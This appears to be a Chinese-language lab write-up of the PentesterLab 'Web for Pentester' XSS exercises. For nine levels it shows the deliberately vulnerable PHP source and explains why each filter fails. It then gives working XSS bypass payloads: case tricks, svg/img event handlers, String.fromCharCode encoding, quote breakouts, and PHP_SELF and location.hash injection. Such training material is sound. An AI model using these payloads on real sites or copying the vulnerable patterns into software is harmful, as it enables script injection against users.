Web For Pentester1 -XSS

官方地址PentesterLab: Learn Web App Pentesting!

Web for Pentester 也是一个web的靶场,如下图

XSS1:

源代码:

<?php
echo $_GET["name"];
?>

解释:无任何过滤,直接插入payload即可

paylod: <script>alert(1)</script>

XSS2

源代码:

<?php

$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/</script>/","", $name);
echo $name;
?>

解释:对<script></script>标签进行了替换,但是没有区别大小写,可绕过

payload:

"><svg onload=alert(1)>

"><img src=x onerror=alert(1)> 

<Script>alert(1)</ScRIpt>

XSS3

源码:

<?php

$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/</script>/i","", $name);
echo $name;
?>

解释:对标签<script></script>大小写尽心了过滤,因此可通过起标签绕过

paylod:

"><img src=x onerror=alert(1)>//

XSS4

源码:

<?php require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>

解释:这是一个正则匹配,匹配到script字符串,就反馈error,因此可以绕过

Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

payload:

'"<!--><Svg OnLoad=(confirm)(1)-->

<input autofocus onfocus=alert(1)>

XSS5:

源代码:

<?php require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>

Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

解释:对alert字符进行了过滤,因此可以通过String.fromCharCode()编码其他标签饶过

payload:

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>

'"<!--><Svg OnLoad=(confirm)(1)-->

XSS6:

源码:

<?php require_once '../header.php'; ?>
Hello
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>
<?php require_once '../footer.php'; ?>

解释:这次是在script标签内的,因此可以直接插入script代码,或者闭合script标签之后,插入代码。

payload:

hacker";alert(1)//

hacker"-(confirm)(1)-"

hacker<!--></Script><Svg/OnLoad=(confirm)(1)-->

hacker"></script><script>alert(1)</script>

XSS7:

源码:

<?php require_once '../header.php'; ?>
Hello
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>

<?php require_once '../footer.php'; ?>

解释:

htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()会将双引号" 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号'给 a 变量赋值的,所以依然可以通过闭合单引号'来弹窗

payload:

hacker';alert(1)//

hacker'-(confirm)(1)-'

XSS8:

源码:

<?php
require_once '../header.php';

if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

<?php

require_once '../footer.php';

?>

解释:

通过POST传入,htmlentities()HTML实体化编码,基本没得利用,但是注意下那个$_SERVER['PHP_SELF'];

$_SERVER['PHP_SELF']简介

$_SERVER['PHP_SELF'] 表示当前 PHP文件相对于网站根目录的位置地址,与 document root 相关。

假设我们有如下网址,$_SERVER['PHP_SELF']得到的结果分别为:

http://52php.cnblogs.com/php/ : /php/test.php

因此,可以使用 $_SERVER['PHP_SELF'] 很方便的获取当前页面的地址:

$url = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];

payload:

/"><script>alert('xss')</script>//

http://10.10.202.152/xss/example8.php/"><script>alert('xss')</script>//

XSS9:

源码:

<?php require_once '../header.php'; ?>
<script>
document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>

解释:

直接通过location.hash传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性往网页中写入 JS 代码。要了解这个location.hash属性

payload:

#<script>alert('XSS')</script>

备注:在IE浏览器下课触发Chrome和火狐是无法触发的

完结!

原文地址:https://www.cnblogs.com/hack404/p/13170079.html